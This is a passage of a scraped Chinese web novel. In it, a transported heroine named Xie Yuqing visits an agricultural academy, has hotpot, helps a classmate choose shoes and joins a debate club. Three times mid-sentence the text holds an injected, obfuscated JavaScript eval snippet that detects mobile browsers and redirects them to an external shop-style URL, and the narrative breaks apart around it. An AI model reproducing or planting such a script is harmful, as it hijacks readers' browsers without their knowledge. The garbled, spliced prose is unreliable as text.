她靠着车窗,闭上眼睛。 阳光从车窗外照进来,落在她脸上,眼皮被照成橘红色。 她听着音乐,意识慢慢模糊了。 车上的人声渐渐多了起来,大巴发动机的震动传上来,座椅在轻微地抖。 谢予青在半梦半醒之间,周围的声音变成了模糊的背景噪音,听不清具体内容,只听到一片嗡嗡声。 车子震动了一下,发动了。 有人在喊“出发了出发了”。 车轮碾过地面,车身晃了一下,谢予青的头碰到车窗玻璃,她调整了一下姿势,继续闭着眼睛。 旁边的座位突然下沉了一下,有人坐在了她旁边。 她听到拉链的声音,衣服摩擦座椅的声音。 一股很淡的味道飘过来,应该是洗衣液的香味,混着一点冷风带来的室外空气的味道。 谢予青睁开眼,往旁边扭头一看。 夏听北坐在她旁边。 他穿着一件黑色外套,牛仔裤,白色运动鞋。 书包放在脚边,同样也是黑色的,上面沾了一点灰。 他侧过头,看了谢予青一眼,面无表情,没有说话,转回去,从口袋里掏出耳机,塞进耳朵里,闭上眼睛。 谢予青也转回去,重新闭上眼睛。 音乐还在继续,钢琴曲换了一首,节奏快了,她觉得吵,换了下一首。 车里很吵,大家都在说话,后排在玩扑克,声音很大。 谢予青靠着车窗,看着窗外。 车出了市区,远处开始出现农田和树林。 夏听北坐在旁边,安安静静的,两个人都没说话,中间隔着一个扶手的距离。 一个小时后,车拐进了一条小路。 两边的白杨树笔直地立着,树干刷了白色的石灰水,一直刷到齐腰的高度。 路的尽头是一扇铁门,门旁边挂着一块白底黑字的牌子:省农业科学院。 车开进去,停在一栋灰色楼前面。 林楠站起来,拍了拍手。 “到了,大家下车,参观的时候不要乱摸乱碰,有些区域不能拍照,跟着讲解员走,不要掉队。” 大家陆续下车。 谢予青站起来,从行李架上拿下双肩包,背上,往车门走。 夏听北走在她前面,中间隔了个人。 他下车的时候停了一步,侧了侧身,让后面的人先下。 谢予青跟在他后面下了车。 29. 第 29 章 太阳已经升高了,阳光照在水泥地面上,反光晃眼。 空气里有泥土的味道,混着肥料的气味。 讲解员是一个年轻的女人,穿着白大褂,手里拿着一个文件夹,头发用夹子夹在脑后,说话语速很快,显得非常干练。 “欢迎来到省农科院,今天先参观智能温室,然后是组培室,最后是种质资源库,请大家跟好,不要走散。” 一行人跟着她往温室走。 温室是玻璃结构的,顶很高,里面的温度比外面高了七八度,闷热的空气扑面而来。 温室内部分成几个区域,每个区域挂着白色的标识牌。 讲解员走到第一排架子前面,拿起一株番茄苗。 “这是我们在试的新品种,抗病性比常规品种提高了百分之三十,大家看这个根系,发达程度可以很清楚地看到区别。” 谢予青凑过去,认真地看着那株番茄苗。 根系白花花的,密密麻麻缠绕在基质的空隙里,根尖是嫩白色的,带着细微的根毛。她掏出手机拍了一张照片。 “这边不能拍照。”讲解员指了指墙上的标识。 谢予青收起手机,继续往前走。 温室的第二个区域种的是辣椒,绿的发黑的叶子下面挂着一串串青色的辣椒,每一颗都大小均匀,排列整齐。 讲解员讲了这个品种的育种过程,杂交,回交,自交,三代才稳定下来。 谢予青听得很仔细,蹲下来观察辣椒的叶片形状,又站起来看辣椒果实的着生方式。 她在脑子里记着这些细节,琢磨着回去以后可以查查这个品种的文献。 走到温室的第三个区域,种植的是草莓。 草莓已经结果了,有些红了,有些还是青的,白色的花点缀在绿叶之间,花瓣五片,花蕊黄色。 空气里有一股草莓的甜味。 “草莓的匍匐茎繁殖,大家应该都学过,但生产中为了保持品种纯度,主要还是用组织培养的方式。” 讲解员蹲下来,指着一株草莓的匍匐茎,“这根茎上长出来的小苗,等它生根之后就可以切下来移栽。” 谢予青蹲下来,用眼睛看匍匐茎的生长方向,茎尖微微向上翘着,上面长着几片还没展开的嫩叶。 她在笔记本上画了一个简图,标注了匍匐茎的节间长度和叶片数量。 从温室出来,一行人去了组培室。 组培室在另一栋楼里,走廊很长,两边是一扇一扇的白色门,每扇门上贴着房间编号。 讲解员带他们进了其中一间。房间里靠墙立着几排架子,架子上摆满了培养瓶,瓶内的培养基颜色各不相同,绿色的,白色的,半透明的,有的瓶里已经长出了小苗,有的还在愈伤组织阶段。 “这是我们保存的种质资源。”讲解员拿起一个培养瓶,“通过组织培养的方式,可以在很小的空间里保存大量的遗传材料。这一瓶就有几百个芽点,每个芽点都是一个独立的个体。” 谢予青靠近架子,仔细看着那些培养瓶。 灯光从架子顶部照下来,透过玻璃瓶,培养基的质地看起来像果冻。 “这些材料什么时候需要继代培养?”谢予青问。 讲解员看了她一眼,“不同的材料不一样,一般两到三个月,培养基里的营养成分消耗完了,就需要转到新的培养基上。” 谢予青点点头,在笔记本上记了“2-3个月”。 最后参观的是种质资源库。 这里温度低,门一打开,冷气从里面涌出来。 讲解员说这里常年保持在四度左右,湿度控制在百分之三十以下。一排排架子上码着密封的铝箔袋,袋子上贴着条形码。每袋里面装着几百粒种子,每一粒都是一个品种的备份。 “这里保存着三千多份种质资源,很多是老品种,市面上已经看不到了,把它们保存下来,以后也许用得上。” 谢予青走在架子之间的过道里,看着那些密封袋上的标签。 标签上的字很小,写着作物名称,品种名称,采集地点,保存年份。 有些标签已经泛黄了,年份那一栏写着2003,2005,2008。 她在一份2003年采集的水稻种子前停了一下,袋子里的种子是棕黄色的,形状细长,跟现在的水稻种子不太一样。 讲解员说那是一个地方品种,米质好,但是产量低,慢慢就被淘汰了。 种子保存下来是为了保留它的基因,也许有一天,某个育种家需要它身上的某个性状,它就能重新派上用场。 参观结束,已经快十二点了。 一行人往大巴方向走,谢予青走在中间,手里握着手机,屏幕上有十几张照片。 她一边走着,一边在心里把参观的内容过了一遍。 上了大巴,还是原来的座位。 谢予青靠窗坐下,夏听北走过来,坐到了她旁边。 谢予青看到他坐过来,才突然想起来他也来了。 果然还是要有事情做,这样就没时间想东想西了。她很淡地笑了一下,夏听北转头看她,困惑地皱了下眉,不过也没说什么,继续拿出耳机来塞上,靠在椅背上闭目养神了。 大巴开动了。 回程的路上,车里比来时安静了,很多人都在补觉。 后排的人没再打牌,而是开始小声说话,声音很低,像蚊子嗡嗡。 谢予青没有睡意,看着窗外。 田野在往后退,绿油油的一片接着一片,田埂上时不时闪过一棵树,光秃秃的,还没发芽。 过了一会儿,眼看车子就要开到市区,林楠突然站起来拍了拍手,笑着对大家说:“我刚才跟司机商量了一下,他可以先把我们送到购物广场,大家要不要聚餐,去吃火锅?如果不想去的人也可以坐着车直接回学校。” 车里顿时热闹起来,好多人都睁开了眼睛,七嘴八舌的,一时间显得有些乱。 林楠又笑着拍了拍手:“这样吧,想去吃火锅的举手,或者想在购物中心下车的也举一下手,让我来数一数人数。” 谢予青顿时纠结起来。 她原本确实打算去一趟购物中心的,本来还想在学校门口下车,然后自己坐公交车去。 现在倒是刚好可以凑着车去,但是要不要聚餐呢? 她刚好肚子有些饿了,也不知道吃什么,干脆跟着大家一起去吃火锅算了。 于是在林楠说到吃火锅的人举手时,谢予青就把手举了起来。 她感觉到身边的人动了一下,夏听北居然也举了一下手。 她顿时又有些后悔了,但是林楠已经数到了他们,就这样吧,反正人多,也未必就跟他坐在一个桌子上,她完全可以当这个人不存在。 大巴进了市区,路边的建筑密集起来。 商场,住宅楼,学校,一个接一个从车窗外掠过去。车里的广播开了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535112|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放着一首老歌,谢予青听过这首歌,但是叫不出名字,让她诧异的是,夏听北居然跟着唱了两句。 别说,还挺好听,长得好看也就算了……上帝到底给他关上了哪扇窗? 谢予青撇撇嘴。 车停在了商圈外围。 林楠站起来,“聚餐的跟我走,不聚餐的原地解散,想回学校的,得继续坐车。” 一群人下了大巴,跟着林楠走进商场,上了四楼。 林楠提前订了位置,两张大圆桌。 谢予青走到里面那张桌子旁,拉开一把椅子坐下来。 旁边坐着一个研二的学姐,正在翻菜单。 学姐问她吃什么锅底,她说随便,问问大家的意见吧。 其他人陆陆续续坐下来了。 谢予青拿起桌上的水壶给自己倒了杯水,喝了一口。 她抬头的时候,看到夏听北从门口走进来,在一群人中目光扫了一圈,直接朝她这张桌子走过来了。 他拉开她右边的椅子,坐了下来。 谢予青端着水杯的手顿了一下。她把水杯放回桌上,继续看菜单。 旁边的学姐在点菜,羊肉牛肉虾滑宽粉土豆片金针菇,一个接一个念。 谢予青听着,没有插嘴。 火锅端上来了,如她所料,最终点的是鸳鸯锅,这样也挺好的,可以照顾不同的口味。 菜一盘一盘摆上来,桌子中间的转盘转动着,每个人伸手去夹自己想吃的东西。 坐在夏听北旁边的两个学姐开始跟他聊天。 学姐甲问他是不是金融系的,他说是。 学姐乙问他怎么对生物感兴趣,他说觉得有意思。 学姐甲问他平时喜欢做什么,他说没什么特别的。 学姐乙问他有没有女朋友,他沉默了一下,说没有。 两个学姐对视了一眼,又问了几个问题,他都是一两个字回答,语气平淡,脸上没什么表情。 学姐甲又说了几句话,他的注意力显然没有集中在对话上,筷子在碗里搅了两下,夹起一片青菜,放在嘴里,嚼完,放下筷子,端起水杯喝了一口。 学姐甲又说了两句,他点了一下头,然后偏过头,侧脸朝向谢予青的方向看了一眼,很快就转回去了。 学姐甲和学姐乙交换了一个眼神,不再说话了。 谢予青没看到那个眼神,她在锅里找虾滑。 虾滑沉在锅底,她用漏勺捞了两下,捞上来一个,放到碗里。 一顿饭吃了四十分钟。 谢予青吃了八分饱,放下筷子,端着水杯喝水。火锅的热气熏得她脸发红,额头出了一层薄汗。 她抽了张纸巾擦了擦,把纸巾团成一个小球,放在碗旁边。 林楠站起来,笑意盈盈地说:“大家吃好了吗?吃好了咱们就撤了,自己安排,可以回学校,可以在商场逛逛,注意安全,到学校了在群里报个平安。” 大家陆续站起来,拿包的拿包,穿外套的穿外套。 谢予青拿起双肩包背上,跟着人群往外走。 出了火锅店,商场走廊上人来人往。 谢予青原本的计划是要去5楼的书店看一看,顺便再去一楼优衣库,想着买两条内裤。 “谢予青。” 这个声音很熟悉,她浑身僵了一下,转过头去看。 夏听北站在她身后,手里拿着手机。 “帮我个忙。” 30. 第 30 章 谢予青看着他。 他脸上没有什么多余的表情,语气也跟平时一样,不冷不热。 “什么忙?”谢予青迟疑了几秒,问。 “我想买双鞋。”他说。 谢予青没接话,等着他说完。 “能不能帮我选一选?” 谢予青想说你自己不会选吗,话到嘴边还没出口。 “不要拒绝我。”他的话接得很快,像提前知道她要说什么。 她顿时不知道该说什么了。 两个人站在那里,来来往往的人从他们身边走过。 “走吧。”夏听北转身往前走。 谢予青站在原地没动。 夏听北走出去几步,停下来,转头看她。 也没说话,就站在那里看着她。 谢予青只好跟了上去。 运动品牌在三楼。夏听北走在前面,谢予青跟在后面,两个人一前一后进了店。 店员迎上来,问想买什么样的鞋。 夏听北突然扭头看向谢予青,谢予青被看得愣了一下。 “他买鞋。”谢予青指了指夏听北,对店员说。 “跑步穿。”夏听北接着说。 店员马上笑眯眯地点点头,在两个人脸上扫了一下,带他们到跑步鞋的区域。 墙上一排鞋,各种颜色,各种型号。 夏听北在那一排鞋前面站了一会儿。 “你觉得哪个好?”他问谢予青。 “你自己穿,自己看喽。”谢予青也觉得眼花缭乱的。 “你帮我看。” 他表情认真,不是在开玩笑。 谢予青只好去看墙上那排鞋,她扫了一遍,指了一双灰色的。 “这个。” 夏听北看了看那双灰色鞋,店员去拿新鞋给他试。 他坐到换鞋凳上,把右脚的运动鞋脱了,穿上新鞋,系好鞋带,站起来,走了两步。深灰色的鞋面,侧面一道白色的弧线,鞋底的纹路是锯齿形的。 他的脚踝在鞋口处露出一截白色袜子。 “怎么样?”他看着谢予青。 “还行。” 夏听北坐下来,脱了右脚的鞋,把左脚的那只也穿上,又站起来,走了几个来回。 店员在旁边等着。 “还行是什么意思?”试了一会儿之后,他又抬头看向谢予青。 “就是还行。”谢予青也不知道应该怎么说,她对男生穿什么鞋没什么想法,这些鞋都挺好看的,只要舒服就好。 夏听北低头看着脚上的鞋。 “还有别的吗?”他问。 谢予青指了指旁边一双黑色的,“这个也试试。” 夏听北坐下来,换鞋。 黑色那双穿上去,跟刚才灰色那双比起来,整个人的气质变了一点。 黑色更沉稳,也更普通。 “哪双好?”他看着谢予青。 谢予青看看灰色的,又看看黑色的,当真纠结了一下,做了决定:“灰色。” 夏听北马上把黑色鞋脱了,拿起那双灰色的递给店员:“就买这双吧。” 店员笑着接过来,还忍不住说了一句:“你女朋友眼光可真好,这双鞋是我们店的爆款,穿起来很舒服,也很好看。” 店员去给他拿新鞋了。 谢予青听到那句话后,浑身僵了一下。她一扭头,刚好对上夏听北的视线,顿时非常尴尬。 她挠了挠头,目光转向其他地方。 另外一侧就是女鞋,她干脆走过去也看了看。 其实她就是想躲开夏听北而已,她不想买鞋,买太多没有地方放,而且她目前的鞋子质量挺好的,她也很喜欢。 于是她随便盯着其中的一双鞋,发了下呆。 谁知夏听北却走了过来,指着她一直盯着的那双鞋说:“这个挺好看的,你要不要试一试?” 谢予青赶紧摆手说:“不用了,我就是随便看一看。” 夏听北看着她,还想再说些什么,店员已经拿着新鞋走了过来,用购物袋装好递给他,笑眯眯地交代道:“去收银台交钱就好了。” 夏听北走到收银台,扫码付款,拎着袋子走出来。 两个人出了店门,谢予青停下脚步。 “我走了。”她快速丢下一句,转身往电梯方向走。 一只手从后面伸过来,握住了她的胳膊。 谢予青转过头。 夏听北的手还握着她的胳膊,没有松开。 “你又要干嘛?”她皱了皱眉。 “一起回去。” “我不要跟你一起回去。” 谢予青把胳膊从他手里抽出来,转身就走。 走到电梯口,按了下行键,电梯门开了,她走进去,门关上前她往走廊看了一眼。 夏听北还站在原地,手里拎着鞋盒,站在那里,脸上看不出什么表情,眼睛看着她这个方向。 电梯门合上了。 谢予青长舒一口气。 到了一楼,电梯门开了,她走出去,穿过商场大厅,出了大门。外面的空气冷,商场里的暖气一下子被吹散了,她打了个哆嗦。 公交车站就在商场门口。 六路车刚好进站,谢予青上了车,刷卡,往后走,找了个靠窗的位置坐下。 车上人少,空位很多。 她坐下来,把双肩包放在腿上,抱着。 车开了,窗外的街道慢慢往后退。 谢予青靠着车窗,头碰到玻璃上,玻璃凉,她把头抬起来,又靠上去。 脑子里乱成一锅粥。 她不知道刚才为什么要对夏听北发脾气。 他说一起回去,她不想,拒绝就是了,干嘛要用那种语气说话。 她完全可以不去帮他选鞋,她去了,还真帮他选了一双。 他说一起回去,她就发了脾气。 她不知道自己怎么了。 开学以前她跟自己说,忙起来就好了,忙起来就不会想那些乱七八糟的事。 开学半个月,她每天都忙,上课做实验写报告看文献。 手机里的照片都是实验结果,笔记本上记的都是实验步骤。 她以为自己已经好了,已经回到了正轨。 今天坐大巴去农科院的路上,夏听北坐到她旁边,她的心跳没有加快。 她想,她终于把原主留下的那些身体反应克服了。 参观的时候她看得很认真,学到了很多新东西,组培室和种质资源库那些细节够她消化好几天。 到了火锅店,他坐到她旁边,她也没什么感觉。 学姐们跟他聊天,他爱答不理的,她觉得他就是这样的人,对谁都不冷不热。 后来他要她帮忙选鞋,说不要拒绝她,她就跟去了。 买了鞋之后她应该跟他道别,说一句我先走了,再见。 多正常。 可她转身就走,急急忙忙的,她到底在着什么急? 他说一起回去,她又是在发什么火? 她不知道自己为什么发火,好像那火气是憋了很久的,一直压着,到了那个时刻就压不住了,一下子就窜了上来。 她说不清那火气是从哪里来的。 公交车在学校门口停了。 她一下子回过神来,书也没有看,内裤也没有买。 谢予青无奈下车,走进校门。 她穿过主干道,走到图书馆前面,透过窗户能看到里面坐着的人,她没有进去,继续往前走。 食堂门口有人在发传单,接过传单看了一眼,健身房的广告,随手折了两折揣进口袋。 走到宿舍楼下,铁门开着。 她上楼,开门,宿舍里没有人。 唐笑去参加社团活动,其他人不知道去哪儿了。 房间里只有她一个人。 她把双肩包放在桌上,坐到椅子上。 她的脑子还是很乱。 她觉得自己好像在走迷宫,其实她知道有一条路是可以走到终点的,但是终点有什么呢? 她不敢去想。 她宁愿一头扎进死胡同里不出来,在里面急得团团转,也不想走到那条正确的路上。 可那条路就在那里,不会因为她拒绝走上去就不存在。 她有时候会想,或许从她穿进这本书里的那一刻,就已经失去了自主选择权。 无论她怎么挣扎,怎么拒绝,都不行。 她必须要按着那条路走。 可……明明一开始说好了,她可以随意改变剧情啊。 所以现在到底算什么?是她自己真的心动了,还是有一根线扯着她,让她不得不心动? 可是到底为什么她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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路上的学生很多,多是午休结束往教室赶的人,手里拿着课本和饮料,一脸没睡醒的样子。 “你说,人工智能是否会取代人类劳动?”唐笑换了个话题,皱着眉头吸掉最后一口奶茶,扔进一旁的垃圾桶里,“最近看了个辩论赛,让我也有些担心。” “人工智能取代人类劳动,我觉得是迟早的事。”谢予青很淡定地说。 “那人类干嘛去?”唐笑有些难以接受,声音都高了些。 “做更有创造性的工作,重复性的、可被算法描述的工作,都会被取代,但创造性的工作,需要情感投入的工作,机器做不了。”谢予青伸手接了一片樱花花瓣,用手指轻轻捻着。 “情感投入?比如说?”唐笑皱眉看她。 “比如说护理,教育,艺术创作。”谢予青把书包带子往上拽了拽,“机器可以诊断疾病,但它没办法握着病人的手安慰他,或者说,可以安慰,但很机械,机器可以传授知识,但它没办法理解一个孩子的恐惧和迷茫。机器可以作曲,但它写出来的曲子没有生命经验在里面,它没有失去过,没有爱过,没有痛过,它写出来的东西是公式的排列组合,不是艺术。” 唐笑听着,点了点头,“你这么说倒是有点道理。” “而且从社会发展的角度看,技术进步的最终目的应该是把人从繁重的劳动中解放出来,而不是让人失业。如果人因此而失业,那出现问题的地方肯定不是技术本身。” 谢予青说这些话的时候也没有想太多,在她那个世界里,人工智能比现在发达一些,但依然无法直接取代人类。 唐笑听着,没有再反驳,只是点着头。 有个人一直不远不近地跟着他们。 谢予青没有注意到身后有人。 她跟唐笑说完最后一句话,正要往教学楼里走,一只手从后面伸过来,轻轻拉住了她的胳膊。 她转头。 一个扎着马尾的女生站在她面前,嘴角带着笑。 “同学,不好意思打扰了。” 谢予青不认识她,等她继续说下去。 “我姓林,大三的,校辩论队的。”女生从书包里拿出一个文件夹,把文件夹打开,里面夹着几张纸,“我刚才听到你跟你同学的对话,逻辑很清楚,表达也很好,我们辩论社最近在招新,我想问问你有没有兴趣加入?” 谢予青愣了一下。 31. 第 31 章 唐笑在旁边瞪大了眼睛,“哇”了一声。 “我?”谢予青指了指自己。 “对,你。”林学姐笑着看她,“我刚好跟你顺路,无意间听到你说人工智能那个辩题,你讲人工智能不能取代情感劳动那一段,讲得特别好。我们辩论社正在备战校赛,缺一个逻辑强的辩手,你要是有空,能不能来我们社里聊聊?” 谢予青有些意外。 她没想到有人会在路上拦住她,邀请她加入辩论社。 之前在职场上,她的确练过表达,汇报方案,跟客户沟通,跟同事争项目资源。没想到那些经年积累的东西,在这个春日的中午,被一个素不相识的学姐听到了。 “好。”谢予青没犹豫。 林学姐很开心,她从文件夹里抽出一张纸,递给谢予青。 “这是我们社的招新报名表,你填一下,周三下午四点,学生活动中心二楼,辩论社开会,你来参加,我把你介绍给大家。” 谢予青接过那张纸。 白纸上面印着表格,她拿出笔,填了名字,学院,年级,手机号。 写完递给林学姐。 林学姐看了一眼,把纸夹回文件夹里,“周三见,谢予青。” “周三见。” 林学姐转身走了。 唐笑在旁边拍了她一下,“你被星探发现了。” “什么星探,辩论社。”谢予青被她逗笑了。 “一样一样。”唐笑挽住她的胳膊,“你刚才说的那些话,人工智能什么的,我都听愣了,你怎么想到的?” “随便想的。” “随便想想就能想出来,那你要是认真想还得了。” 谢予青笑了笑。 她知道那些想法不是随便想出来的。 那些是在职场上那些年,在无数个加班的夜晚,在对着电脑屏幕发呆的时候,一点一点堆积起来的东西。 只是以前没有人问她这些问题,她也没有机会说出来,今天被一个陌生人听到了,那个人说她说得好。 周三下午四点,学生活动中心二楼。 谢予青推开辩论社教室的门。 里面已经坐了十几个人,三三两两地聊着天。 那是一间普通的小教室,白板挂在墙上,上面写着几个辩题,窗户开着,风吹进来,吹得窗帘高高飘起。 林学姐站在白板前面,手里拿着一支马克笔,正低头看放在桌上的手机。 看到谢予青进来,她招了招手。 “来了,大家安静一下。”她对着其他人说。 教室里安静下来,十几双眼睛看向谢予青。 林学姐把手搭在谢予青肩膀上,拍了拍,“这是新加入的成员,谢予青,生科院大一的。” “大一?”一个戴眼镜的男生接了一句。 “对,大一,但你们别小看她,我上周在教学楼前面听到她跟同学讨论人工智能的辩题,逻辑很强,表达也很利落,”林学姐看向谢予青,“跟大家说两句?” 谢予青站在白板旁边,下面的人看着她。 她心里还是有一些紧张的。 “大家好,我叫谢予青,生科院大一,以前没有打过辩论,但我会认真学,谢谢学姐邀请我加入。” 她说完了。 下面有人鼓了两下掌,稀稀拉拉的,不热烈也不冷淡。 林学姐拍了拍手,示意大家安静下来,开始讲正事。 “校赛两周后开始,第一轮我们对阵经管学院,辩题已经出来了——‘短视频的火爆是精神文化的丰富还是匮乏’。我们是正方,精神文化的丰富,一辩,二辩,三辩,四辩,四个位置,我们目前定了三个,还差一个。” 林学姐的目光扫过教室。 “谢予青,你来打一辩。” 谢予青的心跳漏了一下。 “我?我刚加入,还没打过比赛。” “没关系。”林学姐的语气很平静,“一辩的位置最重要的是逻辑清楚,表达准确,你的逻辑和表达我都听过,没问题,稿子提前写好,我们帮你改,上场之前多练几次。” 旁边的学长也开口了,“别紧张,大一就打校赛的人不少,我也是大一上的。” 谢予青转头看一眼林学姐。 林学姐的眼中满是信任。虽然这信任来得突然,没有经过任何验证,仅仅基于一段她路过时听到的话。 “好。”谢予青说,“那我试一试。” 林学姐笑着说:“就这么定了,下周开始集训,每天晚上七点,还是这个教室,大家把时间留出来。” 散会了。 谢予青走出活动中心,外面的天已经暗了。 路灯亮着,橘黄色的光照在地上,梧桐树的新叶在灯光下发出一种柔和的光线。 她走在主干道上,手插在口袋里,手指不停摸着手机光滑的表面,脑子不停在思考。 校辩论赛,还是全校性质的,每个学院都派代表队参加,比赛在大礼堂举行,台下坐着评委和观众。 她要站在台上,面对几百个人,说出一辩陈词,时间三分钟。 很难,也很有挑战性。她深吸一口气。 手机嗡嗡响起来。 她拿出来看,原来是林学姐把她拉进了辩论社的群。 群里正在热烈讨论校赛的事,有人发了一段往年的比赛视频。 谢予青点开那个视频,看了一小段。 台上的辩手语速很快,你一言我一语,互不相让,她关掉视频,把手机收起来。 回到宿舍,唐笑正在敷面膜。 “回来了?辩论社怎么样?”唐笑从面膜下面挤出几个字。 “挺好的,学姐让我打校赛,一辩。” “一辩!”唐笑的面膜差点掉下来,“你才刚进去就让你上场?” “学姐说试试。”谢予青也觉得有点头大。 “厉害了。”郑圆圆从床上探出头,“什么时候比赛?” “两周后。” “到时候我们去给你加油。” 谢予青笑着说了谢谢,去洗漱了。 躺在床上的时候,宿舍的灯已经关了。 谢予青看着天花板,脑子里全是辩论赛的事。 一辩陈词要写多少字?三分钟大概八百字左右。 立论要清晰,论点要有层次,论据要有力度。 开头怎么开,结尾怎么结,中间的三到四个论点怎么排列。 她在脑子里搭框架,搭完推倒,推倒重搭。 郑圆圆翻了个身,床板咯吱一声,唐笑的呼吸变得均匀了,张文慧的台灯也关了,宿舍里安静下来。 谢予青继续想。 辩题是“短视频的火爆是精神文化的丰富还是匮乏”。 正方,丰富。 她的思路往下走。 第一,短视频降低了创作门槛,让更多人有机会表达自己,这是文化参与的丰富。第二,短视频提供了多样化的内容,知识类,艺术类,生活类,用户可以根据自己的兴趣选择,这是文化消费的丰富。第三,短视频促进了文化传播,一个小众的音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536917|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐作品,一个地方的传统手艺,可以通过短视频被更多人看到,这是文化流动的丰富。三个论点在脑子里排好了。 她又在每一条后面补了例子。 第一个论点用素人创作者,一个农民在短视频平台上教大家种菜,几百万播放量,这在以前是不可想象的。第二个论点用知识类短视频,三分钟讲一个历史事件,一分钟解释一个物理概念,把复杂的东西变得容易理解。第三个论点用传统手艺,一个打铁花的视频,一个刺绣的视频,传播到全国全世界。 她在黑暗中闭着眼睛,那些词句在脑子里转。 她在心里默念了一遍陈词的开头,“谢谢主席,我方的观点是,短视频的火爆是精神文化的丰富。” 念完这句,她停下来,想了想语气应该怎么样,语速应该怎么样,重音放在哪里。 想着想着,她突然停下来。 她意识到一件事。 她很久没有想到夏听北了。 从辩论社回来的路上没想,回到宿舍没想,躺在床上翻来覆去的时候想的全是一辩陈词,夏听北三个字一次都没有出现过。 她又往前推。 今天白天,上课的时候没想他,吃饭的时候没想他,去辩论社的路上没想他。 昨天呢?昨天也没想。 前天也没想。 从什么时候开始的,她记不清了。 黑暗里,她的嘴角微微翘了一下。 很好,她想。 就这样保持下去。 不搭理任何让她心乱的人。 之前的心动肯定是原主在影响她,她会克服那个瞬间。 她是谢予青。 二十八岁的谢予青。 她来这里是为了把所有错过的东西都补回来。 辩论是她没试过的,她想试试。 辩论赛的准备开始了。 每天晚上七点到九点,辩论社的教室,十几个人围坐在一起。 林学姐分配任务,一辩稿由谢予青自己写,写完大家提意见。 她写了第一版,林学姐看完说逻辑没问题,但语言可以更生动一点。她改了第二版,另一个学长说举例可以更贴近大学生生活。她改了第三版,大家说差不多了,再打磨一下语言节奏。 她反复读那八百个字,念出声,一遍一遍。 每天下课后她找个空教室,站在讲台上,对着空椅子念稿子。 一遍一遍,念到嗓子有点哑了,从包里掏出水杯喝一口,继续念。 模拟辩论的时候,她坐在一辩的位置上,前面摆着一张桌子,桌面上放着一个名牌,写着“正方一辩”。 对面的模拟对手是社里的人扮演的,他们故意找她稿子里的漏洞,拆解她的某个论点,说她举的例子不准确。 她有点紧张,回答的时候声音发紧,手在桌子下面抓着裤子一角。 林学姐看出来她紧张,没说什么,只是把她稿子里的三个论点又捋了一遍,教她怎么应对对方的质询。 “对方问你的问题,不一定每个都要回答,有些问题跟你的论点没关系,你直接绕过去,有些问题你现在回答不了,你就说‘这个问题我方二辩会在后面做详细阐述’。一辩的位置,重点是把你的论点讲清楚,不是跟对方吵架。” 谢予青听着,把这些话记在心里。 每天晚上九点从活动中心出来,校园已经安静了。 路灯照着空荡荡的路,零零星星有一两个人从对面走过来。 她一边走着,脑子里还在转着那些论点。 32. 第 32 章 就这样过了两个星期。 这两个星期里,她没有主动联系过夏听北,也没有主动联系过乾珩。乾珩发过两次消息,一次问她最近在忙什么,她说在准备辩论赛。 乾珩说加油,她说谢谢。 第二次问她要不要一起吃饭,她说等她忙完。 乾珩说好,不着急。 对话就到这里,没有继续往下延伸。 夏听北的对话框一直停留在过年那天。 她真的没有想他了。 一开始她还需要刻意去不想,把注意力拽回来。 后来她不需要刻意了,脑子里自然地被别的东西占满。 质壁分离的实验结果出来了,她写了一页分析。 生物社下周要去植物园,她报了名。 辩论赛的稿子改到第五版,林学姐终于点了头。 这些事情一件接一件排着队,等着她去处理。她没有多余的时间想那些让她心乱的人。 她想,这就是对的。 把时间填满,不留空隙。忙碌是最好的药,治一切胡思乱想。 那天下午,辩论社刚结束一场模拟赛。 谢予青从活动中心出来,旁边走着两个队友。 三个人还在复盘刚才的模拟,林学姐在模拟中扮演对手,狠狠攻击了谢予青的一辩稿。 谢予青接住了大部分攻击,有一个没接住,在台上卡了两秒。 “你那个卡顿其实不明显,我都没注意到。”刘畅安慰她。 “我自己注意到了。”谢予青十分懊恼,“对方问的问题其实我准备过,但她说的时候换了一个角度,我没反应过来。” “下次遇到这种情况,你就说对方曲解了你的意思。”赵敏在旁边出主意。 “林学姐说不能这么说,这么说显得心虚。”谢予青无奈地摇摇头。 三个人边走边讨论,谢予青走在中间,手里拿着笔记本,上面记满了刚才模拟赛的得失。 她的头发扎成了马尾,走路的步子很快,说话的时候眼睛亮亮的,嘴角带着一点笑意。 风把她的头发吹了几根下来,贴在脸上,她抬手别到耳后。 走到教学楼前面的岔路口,对面走过来两个人。 是夏听北和李奕。 看到谢予青,李奕的脚步慢了一下,用胳膊肘碰了碰夏听北。 夏听北抬起头。 谢予青走在辩论社队友中间,正在说一个什么论点,手比划了一下,队友笑了,她也跟着笑,眉眼弯弯,嘴唇微微张开,露出整齐的牙齿。 阳光从侧面照着她的脸,她的皮肤在光下很白,额头上有一层细细的汗。 她也看到了夏听北,脚步顿了一下。 视线在空中交汇了一瞬。 她点了一下头,然后偏过头继续跟队友说话,步伐没有停顿,径直从他面前走过去了。 夏听北脚步停了下来。 他转过头,视线追着她的背影。 